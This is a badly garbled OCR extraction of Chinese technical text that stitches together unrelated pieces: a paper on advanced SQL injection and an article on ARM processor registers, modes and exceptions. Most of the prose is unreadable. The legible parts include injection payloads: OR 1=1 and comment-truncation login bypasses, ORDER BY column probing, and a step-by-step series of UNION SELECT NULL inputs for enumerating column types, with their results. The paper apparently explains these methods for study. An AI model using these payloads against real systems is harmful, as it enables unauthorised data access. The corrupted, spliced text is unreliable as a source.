2) WK B

FEMIR B BER FH AR B R 7 A Ok Web B2 FH R P ARG 1 22 4k« 85—, SR UEARAS i % 7 =X,
ML A R o AR R BRI 5=, PUTBEINR, NIk MR B &2
S, HEFENE, RETHELEPEE, PARERITR 100%H % 4, (HIXPIR 7200 T4
TRNEFH 2 3 I A 0 T o

3) P i LB B

TEF= AP B, Web NIRRT O IER B2k, FHEXIMRUUIRSS . (HIE R 2RI Web N FHAFTE
ZApaE, R R X B RGO A ABISE T, N 7B AT AR . X,

T LLHB B () Web BB k5% (Web Application Firewall, fAiFk WAF) , LLKIEHRTT Web
82 FH ¥ 22 44
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SQL BB H AR LRiR
fE3: qhl201

1. fEf

1.1 3@ SQL FE A AMER
HAT3SA X SQL BN MIFRAEE S, S b EBOR H0 A 2 A T7THREAT 1k (1]
(1) BAENR B
(2) R P N RS AT I SQL A
R4 Chris Anley MJE X [2], 44— ANTrdiadid 78 & w15 A) i N — 25119 SaL 1B 6]
FF RS NBI N R, R OTIE T BLE R SQL 7 EN . Stephen Kost[3]145H
TIN5 —ANMRFIE, DB PRI R S BB U R A R 7, SAL
AT AR S, SR TR SQL (IiEE, BF5tH2 B R F & & g fe it
FEAF IR, Y R B ERE, RN R TN — 2 SQL AR, SQL AN
Wbt AT 7 o SEBR b, SQL VENRAEAE T9 WM 2 &5 N AR o — B, I
A I I N R P R TG 8 S B B RE R) 45 R EAAMY) SQL BRI T E, MR AL
RS B PAT IR BT B A . 3% 28R HRR 7 — i I 4 )92 FH R 7 (Web
Application), B RVFHFHIANEWIFA:, G E KA SQL 1 RIEA T, KikF
5% PR 3 A DR IR P B0 26 I 55 25 v 2540 T o T A B — Se T (RN, Moo R
AR X B0 SRKAE A 2 RIS E AR A B 25 5
FERBG T, SQL VENTC SN FATFI, 5 22 X it 45 IR AR A 2 o 1 H i S22
S 28 i X v B, MU D A S RS Sk AT B kB T T SQL NI, H
TR KA T AL REVT ) 2 SRR T, AR VRN Internet F Web 55 35 1 IE 1)
e, DR — B S AR A NI, Bk At eI DA LR 0 a0 R T L 2 R
SRAFEE P P E IR S5 23 D7 1004, DRGSR S50, SQL A NIk ¥ RURe 22 e T T
A HAt IR -
SQL VEANBCE A /2 SQL EE, XAERX M Bty BA izt B Bl X T A 5
T SQL B 5 AR A A B35 SQL Server, Oracle, MySQL, DB2, Informix %A
I 527 I 2% M A FE B Active/Java Server Pages, Cold Fusion Management,
PHP B, Perl Z8#F 2 A7 R0 . SRS MM B & 105 i, BRI BEE AR il REAS AR
Ao SQL N Brds i R ERAR X (a7 5, H&% 2838 T 400 B RGN AR P e 2 A, A
YA NI AR P 7R IR A FF RO K & ) e, 3 Bl 47 SQL v Nk I i — B3
K, AT TR A b
KTEEXS MS SQL Server () # SQL VEANFARKITELN/ 44, 7 LLZ% Chris Anley Fri
(¥ “SQL Server BLFHFEFF IR SQL N [2]— UM JEE: “ 2 Mgk saL i
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N” [4], Cesar Cerrundo TR “FIH SQL FENEEI Microsoft SQL Server” [5]
—3C, PLA SPI sEEG =) Kevin Spett BEF I H K4S “SQLIEAN - IRITMILE NP
A 7 [6]; MENKT Oracle (93518 SQL FEAEAAN2H, LIS Stephen
Kost [ “#F%f Oracle & A G SQL AL &7 [3]—3C.

1.2 SQL yENILH B 48 F B

TR 2 I BUh R A T SQLIEAEIR, BE2 A4 TR 2 3 B e NI ¥ 75
F. HETHRHI T ZA:

(1) 7EHRSS sty 1E 3RA R 2 BT 54228 2504 1) B vk PR A TG 7

(2) HEHR P ImHRLE L,

(3) B el M PR BBUR 15/ 1

(4) BFRHEER.

Ji & (D) B AR AR IR T %, EFINE N EE T, RS IR AT
REETEM AL B ERAE, AT X 7 B R & Rel UL — e 4 (1 07 2R M @ M 2% N F2 7, B
SR OAT KB AE X 25 52 FH 2 P I R o ] <22 4 i T 250908 P28 1) SRS e i, (BTSSR A AR
ZHRERZ R RAR, GRS R IBAA RN IRI 77 % (2) i
V2 %L RDBMS S HE, HT R A Oracle SRANZHEIAR: J7% (3) W2 —FA 5 4 Il v ts
fit, BN, HE RN “-cemdmemddes” B, FEXHEUR T E “omd” B B
PUG, BRI AFIEGF R “oremd-” 5 J7 5 (4) 52 H AT EFE BRI, IR2 243
REHIA Y SQL NI i 75 B A RS SRS 5., A S L 28 A AR SRR IR R4 55 45 B
ZVEASIRIE RINARE TE R, IXHIR 2 2 2% MR — ML, Bl NBGH = 7
YR DL N AN BE S -

bR b, B A5 B R AE RS mAb B 58 B 2 SRt AT A, Bui sk g kil Ha2
A PEIBHL L b B 2 R Tk R 45 SR o RSO/ 48 SQL B BRI & — Se s A 11
WK, AR RAE BB MK 00 N AE M Z T e A T R 1S 8., RSt A
Wit o

1.3 AR A5

N T ERfEE S, AR Sk A A e SQL NI BT 00 AR 25 4 00 fee N R s LUK
FATVIEADE — G- FIEER SQL 3K, JFAT LUK B 4 AR AT A 250 SQL 18K e
FA TR AEBA VEIRT 1R 15 B AT O N 40 A F] UNION SELECT 5% AT iR
B VRS R S A2 AN E Sr ks BT X 0 28 LR 17« Bl PSR | R M S 455 B — T8
BT, X e AR TR EAE N A AR sl BRI 3R A

2, WRENRR
AT SQU BN, B e B AR BN ZE L 1) W 28 B TR e A AETE N IR R, TR Tl
HH S L ARE L — 2 5 55 A AR O IR AT R I 3R R R A . SRR RAE B AR B R i
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0 2% IS FH R AT SR8 B AT DX 23 TE I SR A R SR IR e 77, Mok 5 R 77 2225 2] KR 24
N, FHRAHIRER R, FEERIA LR SR SQL AH K.

2.1 IR

— NIRRT B AR R AT R, SR Web IR 55 337 AR AR S
(exception), KT “500:Internal Server Error” , B IIE SQL JENIEA) B HLIE 4L
w, ARG5S, SSRGS X R . nRE N2 R, —RaXK
B BN R BB s — NS e e il () HIML Datin, (H R SR B X Flom B2 30, 5
DAL S R A T IRSS St . FELABAE DL, A T HE— B R ROZA R, A RS &
— IR, 20 B B A D T — AUy R DR, B s — 2k TR B R R T
SEATR BT 475

55 TR i N R FRARRS P AR B IR AR LT R B B S AR . 1K 2R R P
FEEIF R I — LSRG L, FEr RN P T — MR E R RS B R LI R
R AR IR Al — AN SRA R L (200 OK) B TUIMTS A8 S Wb 21 1 0, sl R A A R
S B IME, LT “Internal Server Error” o

N T IX XA R, BATE M AW TESHKINARER, AN B, PRI
Fr#f A I [R]—MAY proddetails. asp I UIH, ZIUHMIRSG — D22, W ProdID. €3k
BOzZ 85, A PE bR IO R S VESRAE B 8E , SRR [ i 45 SR AT — Le kb 3
PR N AR Py A8 i o — > 77 i 1 SR DT B BRI A proddetails. asp, RIGEEIRIE
ProdID —E#SRAFAE HA M. MR A YONRAEFA 2 LR &, DR S HOAMg
MR, MRS BT ProdID, #EA T —MNERIER P AN id, BlE e
Rl =AM E g TN A SRR e A id 5, BB 2 iz s
BAERT, #irlges IR, A —A “500: Internal Server Error” . TN HFEST B,
SAEXE S AT B AT VL RO/ NET 0, Wi asidsgk, el —MERIER “1%
PAMAEAE” , B TP RFE N T BB 1%, 2R DU EERT E A 2 7 i 1 81 3R U

PRI Bty 13T SQL BE, B a2k $R a8 — S Io Rl oK, - ULEE B A A Fe i b 34
XL R, DL B SQL & iR R AEAT A G B

2.2 ENIHAIR

X EL N R A TP HAN RS, Bl ol B AL N D9k I B N T 7 A B R
FR . IXEF, Tk o AR HER) SQL FEANMNAEOR, s hn—£ SQL SC8E (4 OR,
AND %5) Fl—28 META 45 (4 80 48). B AN S B S AT I, 03R4 1 e
BRI HI SR W2 57 AR T B iRl — MR IR 25 2 (intercepting proxy) Bi# 28
ABRER) 5 AT DA A6 TR ) D TR b A A F A — SR T ) R %, AR AT — AN IR [ R 1K 2
A P REAFAE SQL VENIR o T AE S BN S HOE R, BAURIE AL S A 3
(7, PR 5 S G R N LM A HAth P R 1) JE BT P SR B R 2R 1 T 2 SR o A 45
R — MRS HIN YR, FIRPE— S HT e AT LU AT EARA, Roh—%s
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N AT e A& B — 28 SQL JE R AR AT A, PRI LG 75 M 5B o B3 2 1 SRk e B IR e 5
FohPhit BOEAAEENRIR K 25, RATRRZ A EEN M.

2.3 WETEAN

SQL FB AT AR N = A R ERA. H . FR R . B RBAEA R e,
HEENFE TR BN SRR 325845 SQL Bl S8 E T L E =480
—2, HhHrSH B IR 2%, 757 8p A1 H RN & 2 E5] 5 A e, #i
e

SELECT * FROM Products WHERE ProdID = 4

5

SELECT * FROM Products WHERE ProdName = ’Book’

1M SQL Mr55 4%, FEARKOLEEZ BN ARUNSHRIEN, REZRE LR LY
BIAY o 773X AR s M B 2 RE A AR 2 2 B N — N DR 75 A1 SQL AH G o i SRR B 282,
B ] B AL B IME R A B AR O SR BR A, BB DA 55K

/mysite/proddetails. asp?ProdID=4

W ZSH)—FINERIN 47 ENSEL B MRAEH 3+ NS, BEXWASH
C BB A4 SQL 5RiEA), WA EL LT P> SQL 1 K 1 A

(1) SELECT * FROM Products WHERE ProdID = 4’

(2) SELECT * FROM Products WHERE ProdID = 3 + 1

A SQL A I, g e R, TR AN WU R IR AR AT, IR B )
(K (R ProdID 481 4) —FEM™MfE R, XHFRIZSBRAFEENRITT .

FANI AR AT LU S T — ARG SQL AR A/ B RIEA B RZSH, XERAWDX

Al BB, FRBRFORARBAET SR, KILFEZEENS S £, AR SQL IRk &%
SEFAFHR PERVEAT], Holn MS SQL Server fHIFF 5+ RIELE 77, 1fi Oracle TS| |
RES . BNl T g K

/mysite/proddetails. asp?ProdName=Book

LEMAZ ProdName Z U BMATENIRI, AT BLSE H B e e — N o800 545 8 L an Book”

NG B R — AT R BOE B AT B I RIASE, BN BT +7 ook (X T Oracle, f2

B’ |17 ook)e XHLLTEMILFHEA SQL i K ik

(1) SELECT * FROM Products WHERE ProdName = ’Book’’

(2) SELECT * FROM Products WHERE ProdID = ’B’ + ’ ook’

MZE—MNMIBSR AT REF= A — > SQL A5 1%, 10 28 AN AT RS IR (A1 AN 5 4] 18 SR — FE [ {E A Book
FI 7 i o

BAVERR], AR HEFCEIE T F+5E META 7245, FRAUIIR T LAZERI N I i 48 = 755
FEe s URL gt (EI-£5F ASCII #5116 D Skgeid e, ko
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/mysite/proddetails. asp?ProdID=3+1 % /mysite/proddetails. asp?ProdID=3%2B1
/mysite/proddetails. asp?ProdID=B’ + ook Ft&&T
/mysite/proddetails. asp?ProdID=B%27%2B%2700k
FAAR, ATAT LA AR AT LU SR B 4 B W) 0 2 8. TARF IR ) 2 49 B 2804 T DA FH SR 252 LR
Bl —NF, — AR H, an Oracle ' sysdate iR [Bl—/NHIHEIE, WrE
SQL Server ™1, getdate () 23 [A] H #7200 HoAh AR [RIRE AT DA FH R 2 5 4778 SQL
TENREA -
B LA EAETT DO, RIS ARG B, AT R R UL, KR S AELE SQL
TENIRIRATI SR — A AR 8 ) S AR 55
3. LML

BB fEHEEA G, B s AT AR, X R ELRE I E A& SQL WEVERITEAN
TRFRIEIL, A e G BEERI A, ARSI IE T R A ARG .
3.1 WE IR TE NGV
XJE SQL BBt i B B AR IR, i R B SQL T SR IE AR AT B, B4 E IE
BT N TR AR 25 5, 1 WS W SQL R IB AR B 4%, T84 B AR S ml FLBR il skt 75 22
ZIRI 2R, EBAT IR 7 2 A SR A e AR ] 5
i 5 JR6 AR {00 3o R B3 5k A HE 9 SELECT -+- WHERE B4, #EAMIZSE (RIEANLD #t
& WHERE T5A) ) — 873« 7 i€ IEWR I N A2, ek 5 46 0Re 08 78 B JFK WHERE 156 5
TSI A A, AR BT 45 R . 0 — e R SRR, AU E OR 1=1 #in]
PATERG, ABAE K2 B ol T an AR i R A AR, IXREMES SR R A . 20 R 2
SR e LR AT R XA N TE 75 (parenthesis, HCImxt 365, (2 fE-5 R TH A Ol
MRS, A S ILAC. 53 4hH W2 — M B i R A T RE & S BUN T2 R
FEAE AR AR, XM REAE T A SQL BEA X 2, Bl B AR R —kan A g Ak 3
MO, ARG AN OR 1=1 AT REAE R AR M) 1000 255K, X i LR
H1T* WHERE 5 A4 J57 b2 — 83l ot OR. AND Blfii N TE AT ‘5 E HR R (1A TRUE 51 FALSE )
Fik 3, BEAER E LN AL, REERUE T R8T BT T A A5 1T PR A - B
MBS HRAE R A, X E AT 2 A& i, 7 AND 1=2 gee ARk U E
A2 N FALSE, T# A OR 1=2 WA BN FIEXHME L (BRARRIERT A LS50,
X T2 E AR, AU 38 WHERE 15 A0 28 1, (HX T HoAd 1750, ECn UNTON SELECT
ENBAFEEISRE (stored procedures) VEN, 752 HESGIUR] &5 A A SQL 5 KiEH],
SRIG A REAS N He A e 2 BT 75 214 SQL W6 A1) o ZEX MG HL T, Mo & nf DUE SR SQL VERE
g RERIESR), S5 RMNESRMITS (), BEK SQL Server ZHg 5 R —17H)
PN o BTN, — N 5 T 7 507 1) 3 4 AN D A D, s HA524s SQL 1R 15 A1)
SELECT Username, UserID, Password FROM Users WHERE Username = ‘user’ AND Password

= ‘pass’
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RN john” —1E AR 44, H4Hig th LT WHERE 156

WHERE Username = ‘john” ——"AND Password = ‘pass’

ST, A A AMELR & SQL 1EE, M0 HIE AP B 13 S AIE o (H2 2 53 #h—Fh WHERE

(EGIE

WHERE (Username = ‘user’ AND Password = ‘pass’ )

EERXEMI CEAERS, RN john” —1ENMP A, ERIEAEBISHIR:

WHERE (Username = ‘john’ — AND Password = ‘pass’ )

R BN RS AR RS, 3R SHHAT

XA s A VR AT 5 BE W FH R I i SR T8 ) 2 SR ML 45 R 1, A SR 1 ke

P B PR R, Rl R ERAT S AT RTE &) Mg 45 R . AR B T 4R,

X R G AT 2 s R R

3.2 WAl o T

Wit — B 1T IEMRREN GRS, ST ARE N LRI 5 & Bs RS8R, 124~

BRILHEIENAEE R AL . B — B BT VR 305, X R T A RS

Wl P 5| AL BRI L =R . NI A U X 5y Oracle A1 MS SQL Server:

B A7 BRI NS RIS 1 T 5 2 BRI 755 B S 755, EIENFRE CAME BT, I

v AT L WHERE 355) B B s in g s ik 58, 84 5t mT BAA 5 145 A5 1 BEBOR X 70 Hi s

J, i

AND “xxx” =" x + xx’  (EFE AND %27xxx%27+%3D+%27x%27+%2B+%27xx%27 )

TS| |, AT DLW H R EHE R 2 Oracle 382 MS SQL Server, a3 /& HAh 2R,

FAt (R 25 775 (R D, £ SQL H, 705 2 RS LA SQL TEAERRAER 1T

FEVENIS, AT IR E ARG AL 735, {H Oracle JXEWFEF A RV 5. R

VCAE R AT PV EREAT 5 N A AR R, IR AZETERERT S AN B35 %) MS SQL Server /&%
SOMA ), (HANSRJE Oracle Ao/ /EREvR. J34bh, IERTEAER] COMMIT i A RAfAZ 5 o v

FE5y 5 5 BT HoAdE A (40, ENTEA] xxx” ; COMMIT —-), QA B4R mlh T LA

AR Z AT

tJr, ik LT AR B sl e Ml IE B H0 R G RR B i T AN R 2R ) B A T 0 R 4

PR AN [F K, PRt RT LIS I Y AR g e IOk i e Bt A SR, L 2. 3 4R B MS

SQL Server I HHAEK %L getdate () 5 Oracle [ sysdate.

3.3 MG VEANF A

APTA R IE B O E, Bt §in] UOT G T AR, 0 AR I8 A AR

LR P AN P A R OB IR A S IS A AR B i] A Z25 HAl R R AR e SQL VE AT

HI SRS

i Tl A SQL ENFIH, B4 AR 2 HAhe AT T MRS, A RESE R —
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i/ 24— Ff UNION SELECT ¥EN.
4 . UNION SELECT JE A\

S I B SELECT-+-WHERE 15 SRy N6 1R 2 B RE 7 AR A 2, HAE B VRS
T, Bk #E SRR R A UNION SELECT i), XJEH N5 WHERE i) BT AT IR E AN ],
ffi ) UNION SELECT W] PAiEXrai & 76 A B M5 B IS O0 T HRIR BE Uy ) e e v BT 36
HEAT UNION SELECT 3\ 75 B 1156 3R A0 0405 P 1) 322 b ) 7 B BRI 2R, T ok 264 8 — et
WATER A FEAIET RS BN TR AT REIRAFIN, AR SR TH A 25 H A D 10 8 11 5
%o
THNTEELERMZ, 37 UNION SELECT MIRTHER I T# CAmME T IEME )L, AT
FIRTTE — 5 C4 B W] 7 IXAE T EAE T2 mT LAsEBLRY, 1M HAE {8 F] UNTON SELECT %) 2 i,
SQL B A)H BT A 14 N B 5 5 R0 O 42 S 0T, AT AT LA E s A UNTON B0 e 4R
AT . UNION SELECT 345K >4 Hif 1 4] AR ] P 8 ) 45 30 (145 S5 0 22 A5 A 5] F 5
HAFRRIEAE I, AR HA .

4.1 GitF%

RS ERA BRI, BRI B 75 BEAEREAT UNION SELECT N RER 25348 A
[ 7 BRI T, R RS S “HIBORILIES” AR R “FI R RURILES” B, a7 s 51
Hof 2 IEH I BEBERMT, BT RAT GER B RE R AR, Frbhizdrisd
Mk E TR,

T IMEE R ORDER BY i8], 7E SELECT ifiA)#% 5 i b ORDER BY BEf% 42 iR [l fic sk 4k
MIRT, —Bodie—MRE M HI 4 P EIHTHET . flan, 2@ 7= &S B e, —ANMF
GRPEDNTRE T

SELECT ProdNum FROM Products WHERE (ProdID=1234) ORDER BY ProdNum —

AND ProdName=" Computer’ ) AND UserName=" john’

MAAEAT 2 0% (¥ 72 ORDER BY 84 538 v] LUE B 748 40%1 44, £E BB Wi ProdNum 2
ERIR B E SR IS —%1, M 1234) ORDER BY 1——iR[Alf\45 F2—FEr. mT
B IE SR FGR AN B, JEN 1234) ORDER BY 2 —gt4s i, BIGR [B] (1) s o i d4
i 7€ W5 A BelR 7 - IX K, ORDER BY gt AT LA FI SRS 1 8t AT S it 1 ot 344> SELECT
EAER AR A — AN B, W T PSR E T N A)VE TR I ORDER BY 1 R EIE A&
REM IEMRARAT, BB B AHE T AT Be = A, XIS I O 5 ASC B DESC 7] DA%
PuiZ i . — ELifiE ORDER BY #VERARN, Bt ax {7515 a1 2151 100 #E4T
W (HE 2% 1000, ERF SR EANTRO, B F IR, 1T AM5
g E G A, (BLESERRIE BT, AR R RVFHER, B AFE LA — R I
LA 2 2l —BIPANEe, DiiAgS B b se.

4.2 HWFIBdE AR

G SIEUE, Bl AW R R, R E LR WS A W R A I,
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1T UNTION SELECT LKAl 5 &l 5 A) & W i) 7= B AR, #loin R BeBef B, 7T PAfR 52
HM ] UNTON SELECT i &) 5= BER Rk 4T 28 71 552 (brute force) , HUURTBHRZ, H
Wk o> e . ARFERTSC, FEIRB AT FA R M =R aergRa, — B
B 10 4, IBAamERER 310 (£ 60, 000) Fhalfefidls, Bktt—F LA shitiT
20 R, FHH BT EE AN, WERFEREEZ, 2 IR A 2 A
LEZ.

— PR AT A IR R SQL B OG8EF NULL, 5 #A 7 BTN TR X 2 B R B 27
FFRAURTE, NULL v] DADCECAT ] —Fh g 28 AL . BRIt a] DL N — AN BT 2 B A NULL
) UNION SELECT 4], B mfi A2 th RSB ILRC A 1% . EIRAT R 28— S AT 26
(SR

SELECT ProdNum, ProdType, ProdPrice, ProdProvider FROM Products

WHERE (ProdID=1234 AND ProdName=" Computer’ ) AND UserName=" john’

BB dE B AR E T (G 4), B2k T LR 48—~ UNION SELECT
), Hpra il By NULL, 8/ iE — DA AR 7] @2 FROM T56) . %) T
MS SQL Server, RIA{i 2% FROM i A AN 4, {HXS T Oracle, WA LM —A~4 1Y dual
. h, EFE—ME—E N FALSE ) WHERE #&4) (Hbdn WHERE 1=2), X281 #fif#
AUWALIRE RS nul LB IE A, DU A2 FAR AT e R R o 84 81X MS SQL Server
FHENER W

SELECT ProdNum, ProdType, ProdPrice, ProdProvider FROM Products

WHERE (ProdID=1234) UNION SELECT NULL, NULL, NULL, NULL

WHERE 1=2 —— AND ProdName=" Computer’ ) AND UserName=’ john’

XA NULL FEAESJAPIA B, E2H PRGN A2 AR5 1R 1) UNION SELECT
A DAL UNTON 15 AR 5 1] DL AT, 53— B IR 70 cdfs PE SR A 1 T i 4T 100%
A (AT LGB 7E FROM 1 ) BRI — AN B P T A 7o T R R 44 1A T 00D

SR NULL JENAE AR AT, 82500 T CARIE 0 B A B R SR B AT I . AR — 0 2%
W, R —ANFEBRBEATIN, BT R RE =2, SN FREZ I =00
AEER, XS E R 2 2B =45, AR LA 3 MR ATIECH TR B . Bk
ProdNum J& T-H7RA, HE=ANFBHNE T4/ KA, A LRI A EF)5A] B
ST HE TR A 2

* 1234) UNION SELECT NULL, NULL, NULL, NULL WHERE 1=2 —-

ToHE - BREIERH, EAIEMS SQL Server Hi¥E FE

* 1234) UNION SELECT 1, NULL, NULL, NULL WHERE 1=2 ——

THE - BT BOR TR

* 1234) UNION SELECT 1,2, NULL, NULL WHERE 1=2 —

HE - BoATFERAR TR
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* 1234) UNION SELECT 1,” 2" ,NULL,NULL WHERE 1=2 ——

TH - BB TR

* 1234) UNION SELECT 1,” 2’ ,3,NULL WHERE 1=2 —

HeF - H=ATERARECTRA

* 1234) UNION SELECT 1,” 2" ,” 3’ ,NULL WHERE 1=2 —

TH - BB TR

* 1234) UNION SELECT 1,” 2" ,” 3" ,4 WHERE 1=2 —

HaF - U FERAZ T RA

* 1234) UNION SELECT 1,” 2’ ,” 3’ ,” 4’ WHERE 1=2 —

A - AT B T R

Wi ¥ BUE R C23RAF T8 — IR EER AL, BV mT DU SE P T AN 22 0 2 v R KL
f5, FLASRASER R AR UL EA 1 H RS 4, 0T LS RS 7 A 3RS 2l i ix a4y

RAEH A — 26T SQL EANE S LA/ THE, WA U F kSN2,
5. B4

ARILERA T A RTAE SQL BiEBGR I B K e, W 1 AEE R A5 S B BF i i s 0
N, SQLENIRIRATIAR AT LA AT o BIAE 4RI 1 AR 22 4 ke K R 8 41k el 25 FH 7 045
B SERASTI BEOR, R BR8] LABGE AR o IR B L R P 20 13
T AR FE R AR 55 45 A 3 A 1 B A — LE Dl 2 AN RENE MR DT, A MR e 2 PR 3 RO
N A2 A RANT, INsRX AR 2 e YRR, 8 R 55 b 1E sCA BE 2 BT X MR AL 1 2
Hofir st s, DLAARA B ORIEN
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VMR ARM AR F ) 37 N RS

f£&: CN.HK

ARM AbHE BRI 37 AN fras . Hpads:

31 /B2 AEEE, AT IR (PC) 7EN. XU (ERLER 2 32 frdffise.

6 MIREFAFES . XLLFF/AEAL L 32 M FF 748

ARM AbERERSEA 7 MR R AR AR B, B — R A — A S AR AR AR A . TEAT AT
Zl, AU AEAERRAAE 15 MBS (RO-R14) |, —ANERFANIRAS 2788 I P2 v S ge
(PO TEFTAMF AT, ALESHAAN - MIEFFARE, A —Rafaatssi\a
H O P B A A7 2

it FH Ar A
WA AT =38 FHHFAR REM T P8 pe

R AFAT 55

RE G WA A EHE RORT XFEE— DR A dokid, P B as i 20T # 2 i A —
YR AT A . RAEDAAF A AT BRG] TH5 0 B A&, AR AT n] R 38 3 A7 2 1037 15 #0
R LA PR 470 2 A7 4%

B TFATA

T R8-R12 & ZA 728 K UL, BN N A R VBT A8 RO NE & 517
a AT R &, (H2 SR T B R i B, UV A R8-R14 ZF 78R, FIQ 4b¥H
FEF 0] A PAT IRAE RIS T3 48 4, AT o] DUfst w4 38 9 T ek

T R13, R14 %0 2747 85 KU, FEATFAFE0 NN E I A4, K r— 1R RS
BRI PRSI s 59 A A - A ) FRf A B2 . SR A R 1 ie 5 R X 4y
FAVERFFAL A

R13
o MODE AT DL R LA 2 —: usr, sve, abt, und, irq, fiq
FEF T % PC
A ME N — #1388 H 2 A7 2, (B — L35 S 7E {8 R15 B —S6fRH| . BT ARMRA T
WKZRACEE ML), MIEREEZEL T PC FIMERS, ZAE NS ATHe A bk E i b 8 A1, ik
FEUL, XFT ARM FRAEER UL, PC FR AU ATHE 2 00 T 4448 2 Huthbl. BT ARM 48425
FF, PCAERIE 0 RLAIZE—ALEN 0,
THEVERIE, M str/stm /A7 R15 B, CRAFI AT RE R AT 8 & Mk (i n 8 N5,
AT RECRAT 2 Al F A Mk AE N 12 N7 . BRI AR 7 SN 308 7 I Bk st X+ H
FUkE, REREGEH STR/STM 54 RARLE R15 HIMH .
MR RIS B N—NMUER, FEPR B 2z bE AT . T ARLFE 2RI, 5
A R15 H{H R 2 bits[1:014 0b00, EAKESR arm MAE A -
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okl T arm3 DL EARAIRRAS, SN R15 fUHHEAE bits[1:01420%, BIS5 N r15 fIsthhk{g
5 OxFFFF FFFC i 5#4F .

0T ARMA LA R B = RR AR, A2 7 A AURIES N R15 [HEHEE bits[1:0]24 0b00, 75 NPKE:
PRI R

XFF Thumb FE44E K, T8 RIETXIFFHI, ALBEZE 20 bit[0],

IR A7

CPSR CHRTFEFFARAS ZF A7 8%) TEAT AL BB U 1) o B0 8 1 SR A AT R T 28 17
1 Hi Kb AR AR AR A DA A [ — e i FURAS AL o — PR AL BE 2R 0 N 30 — AT )
PR A2, PON SPSR (R FE IR A ) o A48 I 57 o h BT A AR I, XA A7 A7 3
AT AFBCATTRE TP IRS TR N 75 BB B, vTLUA SPSR kK& CPSR. BT
F P U R G U 2 S e, B DA% SPSR. 4 7 72 F P AR s Ek R G =X
Tjin] SPSR, K F=AE AN R TN 1) )G

CPSR # 2 4n F iz~ . SPSR A1 CPSR #% 2 AH A

31 30 29 28 27 96 . . :
N Z C v Q DNM (RAZ) I F T Ma
M3 M2 M1 MO

e R AN VA

N—— AL BRI HR 2B L R bit 31 M. LA RRINE FF 5 B EUsHR, n=1
KRBHELER N, n=0 FRERLNEPHE.

z——2=1 RINBHMGERNANE; 2=0 FRBHEMERNAE. WT OP 84, 7=1 RoRidiT
FEA BT PRANBOR /INFH S

C—— NI PURE HLHE C M E ik

TENINEFE A o AR LR & CMP), 25 B2 A48 T AL, W C=1, R 58 HR A bk
HoAAE B C=0,

FEPEFR S (RFRREGETRE S CMP), MiaH kAR, W C=0, XL SEEHRKET
s HAREDL T C=1.

X S AR AR INGEE H e 4, C & a — Ui H I AL

X HAEE Iz FHE 4, C AL EE H A2

V——XF T RIS A 4, S35 EBORIE S 4 SR o — i O AME SRR I 77 5 50, v=1 3R
NP gt s B AR AN VA7,

HokkQ AR ok

7E ARM V5 [} E RFIALFEAEH, CPSR 1 bit[27]FK q FRilfL, FEH TG dsp 18
LRERAETEH . [FFER) spsr (1) bit (2710 TR o ARIRAL,  FHT-7E 5 5 o B i A= I £
AR CPSR H1 11 Q FRiRAL,

7E ARM V5 DLHTHIRRA K2 ARM V5 [HE E RAIMALEESS F, Q ARiR AL BA 3 e o

#okkCPSR - HH [1R)4%8 il (37 otk

CPSR /AL I+ Fy Ts ML4: 0] SAMNTEHINL . 2455 A b A A I I S 7 R AR AR (b . FEHRRAL
R ERR AT, A ] DS X e il AL

sok BT 28 (B A7 24 T=1 IH4R I TRQ P, 24 F=1 IS 2% E FIQ ik

wkT AL T #0163 2 $AT IPIRES, RIUEIA A 442 ARM #8418/ Thumb 54 .
P ARM V4 DAREERRACHI T 251 ARM AFRES, T 66L& LT

T=0 FRARHAT ARM 454
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T=1 £/_RHAT Thumb 54

XTT ARM V5 LR B hRAS AR T RN EERS, T 661 s
T=0 F/RHHAT ARM 54

T=1 FoR i N — kAT R 2 77 A AR E 18 2 Pk

sokekM 453 | A7 sokok

M P R ) A B AR 2, BARS nT

M[4:0] fH AP AI g 0] ) A A A

0b10000 10 user pc, 14”10, CPSR

0b10001 11

FIQ PC, R14_FIQ-R8 FIQ, R7"RO, CPSR, SPSR_FIQ
0b10010 12

IRQ PC, R14 IRQ-R13 IRQ, R12°RO, CPSR, SPSR_IRQ
0B10011 13 SUPERVISOR PC, R14 SVC-R13 SVC, R12"R0, CPSR, SPSR_SVC
0b10111 17

ABORT PC, R14 ABT-R13 ABT, R12"R0, CPSR, SPSR_ABT
0b11011 1B UNDEFINEED PC, R14 UND-R8 UND, R12°RO, CPSR, SPSR_UND
0b11111 IF SYSTEM PC, R14-R0, CPSR (ARM V4 DA Az 5 mi il A

#okkCPSR H (18] HAt o7 ok

XL TR R R o N B AN B R IR 43T

76 ARM 7R RHIEH A LT 3 Aoy s R 7 I AT e -

ol (E IR W HAT AR, AT — 2% ARM 384, REFP T3S (PO) BN 4 7715 BT — 5%
Thumb #§4>, F&FiHEER a2 4s (PO) N 2 ANF717 . BN 2 4L P P47

sk 4, BRI AT DABKA BRr € b AR 5 A0 30T, B Bk 2R @ 1) TR AT . L
W, B IE A H THATBREERE: BL 8 S EPAT B LEAE RN, (RA7ZTAEF R Bl hhk; BX 45
BAEPAT A RAE RIS, ARAE B btttk 9 o] DO FE 7 V)4 2] Thumb JIRE; BLX #84HUT 3 4
Bk, BhEL 2 H bR HbE A PAT, RAFTRE T BIR Rkl , AR H bbbk Jy T LUK 7 D)4 2
Thumb IRZE.

o2 S TR AR, RAPAT R URITEATG, Kb SRR B 1) S0 o B A FR R 7 AT
5w AR P AT SE RS, R IR BB AR TR TR A 1R R FR A PAT . FEREAN R
WAL EERR P I, EARATAE R AR T AT B, IR R T AR BEAR R R, R R
W AT I

ARM H S r T AR 2

*xx [ (RESET) #*

MACER AR AL G| A B, R ARG A R b, BT B A B AL R T AR B AR T A B
170 BALFH R WnNE s A NIRRT : RGEIER; REE AN Bk 2 & A7
BEAPAT N E AL

e NG R

2 ARM AbFEER L & RGP B AR A TR K X, PR AR E LR A SR
W, AT DAE i o AR LR A L S ] RIS

st A e

KRN P E X4 v T PR T R P R AU AR 48 4 o 72 SRR
Zagrh] DUB AL P2 RGBT e TR

w54 HELZ | (PrefechAbort) s
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S A B B TN 45 4 I EEAS A, B 1A SO 405407 9], 240 TE A 45 444
ATHE, ACBEER =R 48 A T bR b

kB U 7] 28 1 (DATAABORT)

R Vs 45 A 1) BARMBIEATEAE, , B 2 AN eV SRR AU 1), AL B8 AR B
V7 1) 2 1E S R

sk AN R IR SR (TRQ) sk

2 b T B (K AN T SR 51 A &%, T EL CPSR (2R AR 8511 T BRI BRIy, AL BR g8 A4k
AME BT SR . RGN AN RIE I 1% 5 R T R AR ER RS

sk fROE T IE K (FIQ)

LR F B I AP RS SR SIS XL, 1T H CPSR ) F ALl B BRI, AbBEEE P A Ah
HH T SR S A

